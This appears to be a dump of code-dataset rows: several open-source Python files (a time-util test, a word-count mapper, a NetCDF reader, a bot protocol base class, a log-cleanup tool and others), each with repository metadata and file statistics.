0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
1c3b3fd8d6729793ea7481293b2a097ba62b056c
556
py
Python
test/date/test_time_util.py
jsrdzhk/hervenue
698db40522f26983c63efa8d40fd461664340c95
[ "MIT" ]
null
null
null
test/date/test_time_util.py
jsrdzhk/hervenue
698db40522f26983c63efa8d40fd461664340c95
[ "MIT" ]
null
null
null
test/date/test_time_util.py
jsrdzhk/hervenue
698db40522f26983c63efa8d40fd461664340c95
[ "MIT" ]
null
null
null
# !/usr/bin/env python3 # -*-coding:utf-8 -*- """ # File : test_time_util.py # Time :2020/8/12 16:32 # Author :Rodney Cheung """ import unittest from hervenue.date.time import TimeUtil class TestTimeUtil(unittest.TestCase): def test_format_seconds(self): print(TimeUtil.format_seconds(100, '{:d}h{:d}m{:d}s')) def test_get_current_timestamp(self): print(TimeUtil.get_current_timestamp()) def test_now(self): print(TimeUtil.now('%Y-%m-%d_%H-%M-%S')) if __name__ == '__main__': unittest.main()
20.592593
62
0.642086
78
556
4.320513
0.589744
0.062315
0.151335
0
0
0
0
0
0
0
0
0.035635
0.192446
556
26
63
21.384615
0.714922
0.239209
0
0
0
0
0.096618
0
0
0
0
0
0
1
0.272727
false
0
0.181818
0
0.545455
0.272727
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
1c43d276031e9a7d2da6cf158bcba42ace6f10b4
1,256
py
Python
hw2/mapper.py
venamax/ucb-261
7df292668a971f49f8a099d38f899e9961432e7c
[ "MIT-0", "Apache-2.0", "BSD-2-Clause", "BSD-3-Clause" ]
1
2022-01-05T14:27:20.000Z
2022-01-05T14:27:20.000Z
hw2/mapper.py
venamax/ucb-261
7df292668a971f49f8a099d38f899e9961432e7c
[ "MIT-0", "Apache-2.0", "BSD-2-Clause", "BSD-3-Clause" ]
null
null
null
hw2/mapper.py
venamax/ucb-261
7df292668a971f49f8a099d38f899e9961432e7c
[ "MIT-0", "Apache-2.0", "BSD-2-Clause", "BSD-3-Clause" ]
null
null
null
#!/usr/bin/python ## mapper.py ## Author: Alejandro J. Rojas ## Description: mapper code for HW2.2 import sys import re from operator import itemgetter counts = {} for line in sys.stdin: ### input comes from STDIN (standard input) record = re.split(r'\t+', line) if len(record) == 4: ### Take only complete records for i in range (2,len(record)): ### words in subject and content from each email bagofwords = re.split(" ",record[i]) ### Break each email records into words for word in bagofwords: neword = word.strip(',') ### eliminate comas and other clean up neword = re.sub('^\'+','',word) neword = re.sub('^\-+','',neword) neword = re.sub('\-+$','',neword) neword = re.sub('\!+$','',neword) neword = re.sub('^\!+','',neword) neword = re.sub('\'+','\'',neword) neword = re.sub('\-+','-',neword) print '%s\t%s\t%s\t%s' % (neword, 1,record[0], record[1]) ### output: word, 1, id, spam truth a
40.516129
102
0.454618
137
1,256
4.167883
0.489051
0.098074
0.134851
0.178634
0.190893
0.178634
0.178634
0.178634
0.178634
0.178634
0
0.010376
0.386147
1,256
30
103
41.866667
0.73022
0.243631
0
0
0
0
0.047568
0
0
0
0
0
0
0
null
null
0
0.157895
null
null
0.052632
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
1c4680a5dd30a51494fef98f8426f5bccd4e47a7
1,264
py
Python
frontend/tool/a.py
yinzhangyue/PDF_tool
ff1c689478e0d40370724ad88da78ef8bd0bf3d1
[ "MIT" ]
3
2021-12-07T06:19:12.000Z
2022-03-30T13:45:34.000Z
frontend/tool/a.py
yinzhangyue/PDF_tool
ff1c689478e0d40370724ad88da78ef8bd0bf3d1
[ "MIT" ]
null
null
null
frontend/tool/a.py
yinzhangyue/PDF_tool
ff1c689478e0d40370724ad88da78ef8bd0bf3d1
[ "MIT" ]
2
2022-02-27T16:15:05.000Z
2022-03-19T07:35:38.000Z
# -*- coding: utf-8 -*- import numpy as np import cv2.cv2 as cv2 from numpy import float32 if __name__ == "__main__": # Read image img = cv2.imread("./c73.png") a = np.array([[ 1458.4429931640625, 145.316650390625, 1554.5313720703125, 176.924560546875, 1 ]], dtype=float32) b = np.array([[ 1734.0457763671875, 191.89208984375, 1829.681640625, 222.283935546875, 1 ]], dtype=float32) # Draw rectangle j = 0 for i in a: if i[4] > 0.85: cv2.rectangle(img, (int(i[0]), int(i[1])), (int(i[2]), int(i[3])), (50, 205, 50), 4) # cut = img[int(i[0]):int(i[2]), int(i[1]):int(i[3])] # cv2.imwrite('./pic/' + str(j) + '.png', cut) # j += 1 for i in b: if i[4] > 0.85: cv2.rectangle(img, (int(i[0]), int(i[1])), (int(i[2]), int(i[3])), (254, 67, 101), 4) # Display cropped image width = int(img.shape[1] / 4) height = int(img.shape[0] / 4) dim = (width, height) # resize image resized = cv2.resize(img, dim) # save the image cv2.imshow("Image", resized) cv2.waitKey(0) cv2.imwrite('./c73_.png', img)
28.727273
78
0.492089
177
1,264
3.463277
0.412429
0.078303
0.034258
0.039152
0.17292
0.156607
0.137031
0.137031
0.137031
0.137031
0
0.224706
0.327532
1,264
43
79
29.395349
0.496471
0.159019
0
0.258065
0
0
0.030389
0
0
0
0
0
0
1
0
false
0
0.096774
0
0.096774
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c53813c86a9f022141fa3ce008071a668995b5f
4,072
py
Python
src/kgprim/ct/models.py
mfrigerio17/kgprim
398f63be86e8ca465e2b58481ea0446f55a1cf62
[ "BSD-3-Clause" ]
null
null
null
src/kgprim/ct/models.py
mfrigerio17/kgprim
398f63be86e8ca465e2b58481ea0446f55a1cf62
[ "BSD-3-Clause" ]
null
null
null
src/kgprim/ct/models.py
mfrigerio17/kgprim
398f63be86e8ca465e2b58481ea0446f55a1cf62
[ "BSD-3-Clause" ]
null
null
null
from enum import Enum class CoordinateTransformPlaceholder: def __init__(self, leftFrame, rightFrame): self.leftF = leftFrame self.rightF = rightFrame @property def leftFrame(self): return self.leftF @property def rightFrame(self): return self.rightF class CoordinateTransform: ''' A model of the transform from `rightFrame` coordinates to `leftFrame` coordinates. ''' def __init__(self, leftFrame, rightFrame, primitives): self.rightF = rightFrame self.leftF = leftFrame self._primitives = primitives @property def leftFrame(self): return self.leftF @property def rightFrame(self): return self.rightF @property def primitives(self): '''The primitive transforms this instance is comprised of.''' return self._primitives def __str__(self): return self.leftFrame.name + "_X_" + self.rightFrame.name def __repr__(self): return self.__str__() def __eq__(self, rhs): return (isinstance(rhs, CoordinateTransform) and self.leftF == rhs.leftF and self.rightF == rhs.rightF and self._primitives == rhs._primitives) # TODO this is too strict: I could have a different sequence which leads to the same transform def __hash__(self): return 3*hash(self.leftF) + 93*hash(self.rightF) + 31*hash(tuple(self.primitives)) class TransformPolarity(Enum): ''' The attribute distinguishing the two coordinate transforms associated to the same rigid motion. Consider frame A and B, where B is taken to be moved with respect to A (e.g. by a rotation about z of alpha radians). The corresponding transform can take two forms: either it takes B coordinates and gives back A coordinates for the same vector, or the other way round. We call the first A_X_B and the second B_X_A. Assuming the matrix is always left multiplied with a column vector of coordinates (as in A_X_B * pB), this notation immediately tells which are the "input" and "output" frames. A_X_B has the `movedFrameOnTheRight` polarity, because B appears on the right hand side, B_X_A is instead `movedFrameOnTheLeft`. Technically, the polarity is an attribute of the relation between a rigid motion and a related coordinate transform. ''' movedFrameOnTheRight = 0 movedFrameOnTheLeft = 1 class PrimitiveCTransform: ''' A coordinate transform for a pure rotation/translation about/along one of the Cartesian axis. Instances of this class model the coordinate transforms associated with "primitive" motion steps, see `gr.motions.MotionStep`. ''' strbits = { TransformPolarity.movedFrameOnTheRight : "R", TransformPolarity.movedFrameOnTheLeft : "L" } def __init__(self, motion_step, polarity): self.motion = motion_step self.polarity_= polarity @property def kind(self): return self.motion.kind @property def amount(self): return self.motion.amount @property def axis(self): return self.motion.axis @property def polarity(self): return self.polarity_ @property def primitives(self): ''' A list with the self element only. This method is implemented to emulate the behaviour of `CoordinateTransform`. ''' return [self] def __str__(self): return 'ct_{pol}_{motion}'.format( pol=PrimitiveCTransform.strbits[self.polarity], motion=str(self.motion)) def __repr__(self): return self.__str__() def __eq__(self, rhs): return (isinstance(rhs, PrimitiveCTransform) and self.motion == rhs.motion and self.polarity == rhs.polarity) def __hash__(self): return hash(self.motion) + 111*hash(self.polarity) class CTransformsModel: ''' A simple named container of coordinate transforms. ''' def __init__(self, name, transforms): self.name = name self.transforms = transforms
32.83871
150
0.675589
496
4,072
5.389113
0.332661
0.052376
0.057613
0.022447
0.143659
0.10101
0.10101
0.10101
0.10101
0.10101
0
0.003261
0.246807
4,072
123
151
33.105691
0.868275
0.357809
0
0.352941
0
0
0.00898
0
0
0
0
0.00813
0
1
0.323529
false
0
0.014706
0.235294
0.573529
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
1c6c0b2c3fd728d507f1a17dff0b0d7c5734f423
352
py
Python
playground/syntax.py
jasonmay/twitch-jarsonmud
d3358b15a478c2fb48b9ff37e32f4630c526cacd
[ "MIT" ]
1
2019-08-20T06:55:46.000Z
2019-08-20T06:55:46.000Z
playground/syntax.py
jasonmay/twitch-jarsonmud
d3358b15a478c2fb48b9ff37e32f4630c526cacd
[ "MIT" ]
10
2021-03-09T15:30:30.000Z
2022-02-26T18:54:10.000Z
playground/syntax.py
jasonmay/twitch-jarsonmud
d3358b15a478c2fb48b9ff37e32f4630c526cacd
[ "MIT" ]
null
null
null
import ast one_plus_one = ast.Expression( body=ast.BinOp( left=ast.Num(lineno=0, col_offset=0, n=1), op=ast.Add(lineno=0), right=ast.Num(lineno=0, col_offset=0, n=3), lineno=0, col_offset=0, ), lineno=0, col_offset=0, ) a = compile(one_plus_one, "<string>", "eval") print(eval(a)) print(dir(a))
20.705882
51
0.588068
58
352
3.431034
0.431034
0.175879
0.201005
0.321608
0.41206
0.241206
0.241206
0.241206
0
0
0
0.040892
0.235795
352
16
52
22
0.698885
0
0
0.266667
0
0
0.034091
0
0
0
0
0
0
1
0
false
0
0.066667
0
0.066667
0.133333
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c76b0770293aede8e52ac1a99d4d18fe5f1060b
14,851
py
Python
system/protocols/generic/protocol.py
UltrosBot/Ultros
639efc11f73ebf7e8f47f0554aced00a559d9e2d
[ "Artistic-2.0" ]
16
2015-01-02T00:16:11.000Z
2019-06-03T06:23:11.000Z
system/protocols/generic/protocol.py
UltrosBot/Ultros
639efc11f73ebf7e8f47f0554aced00a559d9e2d
[ "Artistic-2.0" ]
31
2015-01-18T12:14:53.000Z
2018-01-07T13:32:29.000Z
system/protocols/generic/protocol.py
UltrosBot/Ultros
639efc11f73ebf7e8f47f0554aced00a559d9e2d
[ "Artistic-2.0" ]
9
2015-02-13T09:38:53.000Z
2020-11-29T19:59:32.000Z
# coding=utf-8 from twisted.internet import protocol from system.decorators.log import deprecated from system.logging.logger import getLogger from system.translations import Translations __author__ = "Gareth Coles" _ = Translations().get() class Protocol(protocol.Protocol): """ Base class for building protocols. You'll /HAVE/ to subclass this in some form or any protocols you make will be invalid without it. This class provides several methods that must be uniform across all protocols. The reason for this is mostly so plugins that are agnostic towards protocols can still work with every protocol the bot is using. If you need to inherit another base class (for example irc.IRCClient), then use multiple inheritance, with the other base class first. For example:: class Protocol(irc.IRCClient, generic.protocol.Protocol): pass These are the functions and variables provided by this class that you do NOT have to override: * factory: The factory for the protocol * config: Configuration handler * log: Logger * event_manager: The event manager * command_manager: The command manager * CHANNELS: Don't override this, use one of the relevant subclasses instead These ones you should override, but are optional: * get_channel(self, channel): * Only for protocols that handle channels, this is for retrieving a channel object. Don't worry about this if you don't use channels in your protocol, but always implement it if you do. And these you'll absolutely have to override for your protocol to work as expected: * Variables * __version__: The version string * name: A string. This is the name of your protocol. * nickname: The bot's username or nickname * ourselves: A User object describing the bot * Functions * __init__(self, factory, config): * This is where all the setup for your protocol is done, and you should also connect it to a service when you do this. Remember to set your factory, config, log, event_manager and command_manager objects here too. * If you're building a protocol, make sure that it doesn't actually connect until reactor.run() is called; you can use a call to reactor.callLater(0, startup_function) to do this. * shutdown(self): * This is called when the protocol needs to be disconnected. You should disconnect cleanly and do any cleanup you need to do here. * get_user(self, user): * This is for retrieving a user object. This should always be implemented, in every protocol, but it's okay to return None if you couldn't find a user object. * send_msg(self, target, message, target_type, use_event): * This is a generic abstraction for sending a message. You should always implement this. target_type and use_event default to None and True respectively and these options should always be honored as appropriate. * send_action(self, target, message, target_type, use_event): * This is a generic abstraction for sending an action (/me on some networks). It works much the same as send_msg but should be treated with different formatting (For example, on IRC, we would send a CTCP ACTION to the target). * __json__(self): * This method must return a json-compatible representation of the protocol object, preferably a dict. This is used for serialization in the web API, which returns JSON data. """ __version__ = "" TYPE = "generic" CHANNELS = False CAPABILITIES = () factory = None config = None log = None event_manager = None command_manager = None nickname = "" ourselves = None can_flood = False control_chars = "." def __init__(self, name, factory, config): # You don't necessarily need to call the super-class here, # however we do recommend at least copy-pasting the below code # into your __init__. # Twisted uses old-style classes, so super() won't work if you intend # on using it! self.name = name self.factory = factory self.config = config self.log = getLogger(self.name) # Default values for optional main config section try: self.can_flood = self.config["main"]["can-flood"] except KeyError: self.can_flood = False def shutdown(self): """ Called when a protocol needs to disconnect. Cleanup should be done here. """ self.transport.loseConnection() raise NotImplementedError(_("This function needs to be implemented!")) def get_user(self, user): """ Used to retrieve a user. Return None if we can't find it. :param user: string representing the user we need. """ raise NotImplementedError(_("This function needs to be implemented!")) def global_kick(self, user, reason=None, force=False): """ Attempts to kick a user from the network. In many protocols, we can't know if we have permission to kick until we do it, and in those cases, this method should always attempt it. If a protocol does not support kicking, then it should always return False. :param user: The user to kick :param reason: The reason for the kick :param force: Bypass local permissions check :return: Whether or not a kick was attempted """ raise NotImplementedError(_("This function needs to be implemented!")) def global_ban(self, user, reason=None, force=False): """ Attempts to ban a user from the network. In many protocols, we can't know if we have permission to ban until we do it, and in those cases, this method should always attempt it. If a protocol does not support baning, then it should always return False. :param user: The user to ban :param reason: The reason for the ban :param force: Bypass local permissions check :return: Whether or not a ban was attempted """ raise NotImplementedError("This function needs to be implemented!") def send_msg(self, target, message, target_type=None, use_event=True): """ Send a message to a user or a channel. :param target: A string, User or Channel object. :param message: The message to send. :param target_type: The type of target :param use_event: Whether to fire the MessageSent event or not. :return: Boolean describing whether the target was found and messaged. """ raise NotImplementedError(_("This function needs to be implemented.")) def send_action(self, target, message, target_type=None, use_event=True): """ Send an action to a user of channel. (i.e. /me used action!) If a protocol does not have a separate method for actions, then this method should send a regular message in format "*message*", in italics if possible. :param target: A string, User or Channel object. :param message: The message to send. :param target_type: The type of target :param use_event: Whether to fire the MessageSent event or not. :return: Boolean describing whether the target was found and messaged. """ raise NotImplementedError(_("This function needs to be implemented.")) def get_extra_groups(self, user, target=None): """ Get extra groups for a user (eg, based on channel or network rank) If the protocol doesn't have channels, the target param can safely be ignored. If there are no extra groups, return an empty list, otherwise return a list of strings representing group names. :param user: A string or User object :param target: None, a string, User or Channel object :return: A list of extra groups to check against :rtype: list(str) """ return [] def has_capability(self, capability): """ Check whether the protocol supports a given capability. :param capability: A capability constant :rtype: bool """ return capability in self.CAPABILITIES def get_capabilities(self): """ Get all capabilities supported by this protocol. """ return self.CAPABILITIES def __json__(self): # TODO """ Return a representation of your object that can be json-encoded For example, a dict, or a JSON string that represents the data in the object """ raise NotImplementedError("This method must be overridden") class ChannelsProtocol(Protocol): """ Base protocol for protocols that support channels. You'll need to override everything in here as well. """ CHANNELS = True SINGLE_CHANNEL = False @property def num_channels(self): raise NotImplementedError(_("This function needs to be implemented!")) def get_channel(self, channel): """ Used to retrieve a channel. Return None if we can't find it. You don't need to implement this if your protocol doesn't use channels. :param channel: string representing the channel we need. """ raise NotImplementedError(_("This function needs to be implemented!")) def join_channel(self, channel, password=None): """ Attempts to join a channel. An optional password may be provided, which should be ignored by protocols that do not support them. Return value is whether or not a channel join was attempted - it is not a guarantee that the operation will be successful. An example of when it could return False is if a channel doesn't exist and can't simply be created by joining it. :param channel: Channel to join :param password: Password for channel :return: Whether or not a join was attempted """ raise NotImplementedError(_("This function needs to be implemented!")) def leave_channel(self, channel, reason=None): """ Attempts to leave a channel. An optional reason may be provided, which should be ignored by protocols that do not support them. Return value is whether or not a channel leave was attempted - it is not a guarantee that the operation will be successful. An example of when it could return False is if a protocol requires you to be in a channel. :param channel: Channel to join :param reason: Reason for leaving :return: Whether or not a part was attempted """ raise NotImplementedError(_("This function needs to be implemented!")) @deprecated("Use `channel_kick` or `global_kick` instead") def kick(self, *args, **kwargs): """ Deprecated, please see `channel_kick` """ return self.channel_kick(*args, **kwargs) @deprecated("Use `channel_ban` or `global_ban` instead") def ban(self, *args, **kwargs): """ Deprecated, please see `channel_ban` """ return self.channel_ban(*args, **kwargs) def channel_kick(self, user, channel=None, reason=None, force=False): """ Attempts to kick a user from a channel. In many protocols, we can't know if we have permission to kick until we do it, and in those cases, this method should always attempt it. Some protocols may not require a channel (single-channel, for example), or may not support giving a reason, in which case, those parameters should be ignored. If a protocol does not support kicking, then it should always return False. :param user: The user to kick :param channel: The channel to kick from :param reason: The reason for the kick :param force: Bypass local permissions check :return: Whether or not a kick was attempted """ raise NotImplementedError(_("This function needs to be implemented!")) def channel_ban(self, user, channel=None, reason=None, force=False): """ Attempts to ban a user from a channel. In many protocols, we can't know if we have permission to ban until we do it, and in those cases, this method should always attempt it. Some protocols may not require a channel (single-channel, for example), or may not support giving a reason, in which case, those parameters should be ignored. If a protocol does not support baning, then it should always return False. :param user: The user to ban :param channel: The channel to ban from :param reason: The reason for the ban :param force: Bypass local permissions check :return: Whether or not a ban was attempted """ raise NotImplementedError("This function needs to be implemented!") class SingleChannelProtocol(ChannelsProtocol): """ Just like `ChannelsProtocol` but the bot may only be in one channel at once. Channel-oriented targeting functions should accept None to mean the current channel. """ SINGLE_CHANNEL = True def get_channel(self, channel=None): """ Used to retrieve a channel. Return None if we can't find it. :param channel: string representing the channel we need, or None for the current channel. """ raise NotImplementedError(_("This function needs to be implemented!")) def leave_channel(self, channel=None, reason=None): """ Attempts to leave a channel. An optional reason may be provided, which should be ignored by protocols that do not support them. Return value is whether or not a channel leave was attempted - it is not a guarantee that the operation will be successful. An example of when it could return False is if a protocol requires you to be in a channel. :param channel: Channel to leave, or None for the current channel :param reason: Reason for leaving :return: Whether or not a part was attempted """ raise NotImplementedError(_("This function needs to be implemented!")) class NoChannelsProtocol(Protocol): """ Base protocol for protocols that don't support channels. """
34.377315
79
0.649249
1,981
14,851
4.81575
0.178193
0.014256
0.014151
0.05283
0.506499
0.490042
0.470755
0.458805
0.448637
0.445073
0
0.00019
0.290216
14,851
431
80
34.457077
0.904848
0.636657
0
0.177215
0
0
0.177053
0
0
0
0
0.00232
0
1
0.265823
false
0.012658
0.050633
0
0.632911
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
1c76c8066c409ef859d2b24a26d79bd706f0afb4
2,399
py
Python
infra/tools/cleanup_logs/__main__.py
eunchong/infra
ce3728559112bfb3e8b32137eada517aec6d22f9
[ "BSD-3-Clause" ]
null
null
null
infra/tools/cleanup_logs/__main__.py
eunchong/infra
ce3728559112bfb3e8b32137eada517aec6d22f9
[ "BSD-3-Clause" ]
null
null
null
infra/tools/cleanup_logs/__main__.py
eunchong/infra
ce3728559112bfb3e8b32137eada517aec6d22f9
[ "BSD-3-Clause" ]
null
null
null
# Copyright 2015 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import fnmatch import os import sys import time import infra_libs DEFAULT_MAX_AGE_SECS = 2 * 24 * 60 * 60 # 2 days # platform -> (directory, pattern, max age in secs) DIRECTORIES = { 'linux2': [ ('/tmp', '*.log.*', None), ('/var/log/chrome-infra', '*.log.*', None), ('/home/chrome-bot/.config/chromium/Crash Reports', None, 10 * 3600), ('/b/build/slave', 'twistd.log.*', None), ], 'darwin': [ ('/tmp', '*.log.*', None), ('/Users/chrome-bot/Library/Logs/CoreSimulator', None, None), ('/var/log/chrome-infra', '*.log.*', None), ('/b/build/slave', 'twistd.log.*', None), ], 'win32': [ ('C:\\chrome-infra-logs', '*.log.*', None), ('E:\\chrome-infra-logs', '*.log.*', None), ('C:\\Users\\chrome-bot\\AppData\\Local\\Temp', None, 10 * 3600), ], } class CleanupLogs(infra_libs.BaseApplication): DESCRIPTION = 'Deletes log files that haven\'t been modified for 2 days.' def add_argparse_options(self, parser): # Don't call the base class so we don't add logs or ts_mon. parser.add_argument( '--dry-run', action='store_true', help='Just print the files that would otherwise be deleted.') def process_argparse_options(self, options): # TODO(pgervais,http://crbug.com/564737): having metrics would be useful # Don't call the base class so we don't initialise logs or ts_mon. pass def main(self, opts): for path, pattern, max_age_secs in DIRECTORIES[sys.platform]: max_age_secs = max_age_secs or DEFAULT_MAX_AGE_SECS delete_before = time.time() - max_age_secs if not os.path.isdir(path): continue # TODO(pgervais,http://crbug.com/564743): make this recursive names = os.listdir(path) if pattern is not None: names = fnmatch.filter(names, pattern) print 'Found %d files in %s' % (len(names), path) for name in names: filepath = os.path.join(path, name) if os.path.getctime(filepath) < delete_before: print 'Deleting', filepath if not opts.dry_run: if os.path.isdir(filepath): infra_libs.rmtree(filepath) else: os.unlink(filepath) if __name__ == '__main__': CleanupLogs().run()
31.155844
76
0.629846
333
2,399
4.429429
0.444444
0.037966
0.040678
0.023051
0.170847
0.108475
0.075932
0.037966
0.037966
0.037966
0
0.021379
0.220092
2,399
76
77
31.565789
0.76697
0.194248
0
0.166667
0
0
0.24649
0.109204
0
0
0
0.013158
0
0
null
null
0.018519
0.092593
null
null
0.055556
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
1
0
0
0
0
0
0
0
0
2
1c86475cbd07ac2e9554755571ed4543bb560a83
111
py
Python
packages/api/resources/python-templates/time-start.py
ennovat/bumblebee
1146657bc848247b27d2f8b7f0c6521652b750ca
[ "Apache-2.0" ]
19
2021-06-17T22:12:16.000Z
2022-02-25T04:17:22.000Z
packages/api/resources/python-templates/time-start.py
ennovat/bumblebee
1146657bc848247b27d2f8b7f0c6521652b750ca
[ "Apache-2.0" ]
62
2021-06-30T20:10:37.000Z
2022-03-24T18:09:26.000Z
packages/api/resources/python-templates/time-start.py
ennovat/bumblebee
1146657bc848247b27d2f8b7f0c6521652b750ca
[ "Apache-2.0" ]
10
2021-06-24T11:25:47.000Z
2022-02-16T11:34:10.000Z
_use_time = True try: _start_time = datetime.utcnow().timestamp() except Exception: _use_time = False
22.2
47
0.711712
14
111
5.214286
0.785714
0.191781
0
0
0
0
0
0
0
0
0
0
0.189189
111
5
48
22.2
0.811111
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1c9248db7cf74c6d30276b86dee8c5f146004f17
3,297
py
Python
hypercc/data/file.py
abrupt-climate/hypercc
f5c47e4a9056286d318b5f1002f1aa5e10716238
[ "Apache-2.0" ]
2
2021-01-25T13:55:29.000Z
2021-08-31T17:20:13.000Z
hypercc/data/file.py
abrupt-climate/hypercc
f5c47e4a9056286d318b5f1002f1aa5e10716238
[ "Apache-2.0" ]
9
2018-03-01T14:01:40.000Z
2018-04-30T08:30:56.000Z
hypercc/data/file.py
abrupt-climate/hypercc
f5c47e4a9056286d318b5f1002f1aa5e10716238
[ "Apache-2.0" ]
null
null
null
""" Functionality for reading and interpreting single NetCDF files. """ from datetime import date import netCDF4 from pyparsing import Word, Suppress, Group, tokenMap, alphas, nums import numpy as np def parse_time_units(units): """Parse time unit string from a NetCDF file. Such a string may look like:: "<unit> since <date>" where ``<date>`` looks like:: "<year>-<month>-<day>" Returns: 2-tuple (unit string, datetime object) """ p_int = Word(nums).setParseAction(tokenMap(int)) p_date = Group(p_int('year') + Suppress('-') + p_int('month') + Suppress('-') + p_int('day'))('date').setParseAction( tokenMap(lambda args: date(*args))) p_time_unit = Word(alphas)('units') + Suppress("since") + p_date result = p_time_unit.parseString(units) return result['units'], result['date'][0] class File(object): """Interface to single NetCDF4 file with bounds set on the time. Rationale: When we load a set of datafiles from a time series, sometimes the times may overlap. In this case we may set the ``bounds`` property in this object to limit data to the needed time slots. Combining the limited datasets will result in a a nice contiguous dataset. """ def __init__(self, f): self.path = f # pylint: disable=E1101 self.data = netCDF4.Dataset(f, 'r', format='NETCDF4') self.bounds = slice(None) @property def time(self): """Returns the time variable restricted to the given bounds.""" return self.data.variables['time'][self.bounds] @property def lat(self): """Returns the latitudes of the grid.""" return self.data.variables['lat'][:] @property def lon(self): """Returns the longitudes of the grid.""" return self.data.variables['lon'][:] @property def lat_bnds(self): """Returns the latitude intervals of the grid.""" return self.data.variables['lat_bnds'][:] @property def lon_bnds(self): """Returns the longitude intervals of the grid.""" return self.data.variables['lon_bnds'][:] def get(self, var): """Get the values of a given variable limited to the time bounds set. """ return self.data.variables[var][self.bounds] def get_masked(self, var): """The NetCDF file may specify a floating point value for missing values, for instance in the case of variables that only have valid entries on sea or land cells. In this case we'd like to obtain a masked array in stead of a normal ndarray object. This function returns a masked array for the given variable. When no mask is needed, a normal numpy array is returned. """ data = self.data.variables[var][self.bounds] missing_value = self.data.variables[var].missing_value masked_data = np.ma.masked_equal(data, missing_value) if masked_data.mask is np.ma.nomask: return masked_data.data else: return masked_data @property def time_units(self): """Obtain time units from the NetCDF""" dt, t0 = parse_time_units(self.data.variables['time'].units) return dt, t0
33.30303
79
0.633
445
3,297
4.617978
0.332584
0.038929
0.074453
0.067153
0.106083
0.106083
0.076886
0.076886
0
0
0
0.004908
0.258417
3,297
98
80
33.642857
0.835583
0.401577
0
0.12766
0
0
0.041118
0
0
0
0
0
0
1
0.212766
false
0
0.085106
0
0.531915
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
1c9477db1ab946f162bb835d1ee70aeab289c635
504
py
Python
passl/modeling/backbones/__init__.py
firestonelib/PASSL
f08475c7230282ba5185bf1d2bc3ee39f14dfdee
[ "Apache-2.0" ]
null
null
null
passl/modeling/backbones/__init__.py
firestonelib/PASSL
f08475c7230282ba5185bf1d2bc3ee39f14dfdee
[ "Apache-2.0" ]
null
null
null
passl/modeling/backbones/__init__.py
firestonelib/PASSL
f08475c7230282ba5185bf1d2bc3ee39f14dfdee
[ "Apache-2.0" ]
null
null
null
from .resnet import ResNet from .clip import CLIP from .builder import build_backbone from .resnetcifar import ResNet as ResNetCifar from .resnetsimclr import ResNetsimclr from .vision_transformer import VisionTransformer from .vit import GoogleVisionTransformer from .swin_transformer import SwinTransformer from .beit import Beit from .t2t_vit import T2TViT from .cait import Cait from .mlp_mixer import MlpMixer from .cvt import CvT from .deit import DeiTVisionTransformer, DistilledVisionTransformer
33.6
67
0.853175
64
504
6.640625
0.4375
0.056471
0
0
0
0
0
0
0
0
0
0.004494
0.117063
504
14
68
36
0.950562
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
2
98bb8094c8d4041c4b9a3735600e2e7552f497c4
2,482
py
Python
chj/index/Classname.py
aemcgraw/CodeHawk-Java
8e43877d0357579f6509d3fc52c69c2d4568d288
[ "MIT" ]
null
null
null
chj/index/Classname.py
aemcgraw/CodeHawk-Java
8e43877d0357579f6509d3fc52c69c2d4568d288
[ "MIT" ]
null
null
null
chj/index/Classname.py
aemcgraw/CodeHawk-Java
8e43877d0357579f6509d3fc52c69c2d4568d288
[ "MIT" ]
null
null
null
# ------------------------------------------------------------------------------ # CodeHawk Java Analyzer # Author: Henny Sipma # ------------------------------------------------------------------------------ # The MIT License (MIT) # # Copyright (c) 2016-2020 Kestrel Technology LLC # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # ------------------------------------------------------------------------------ from chj.index.JType import JavaTypesBase class Classname(JavaTypesBase): def __init__(self,tpd,index,tags,args): 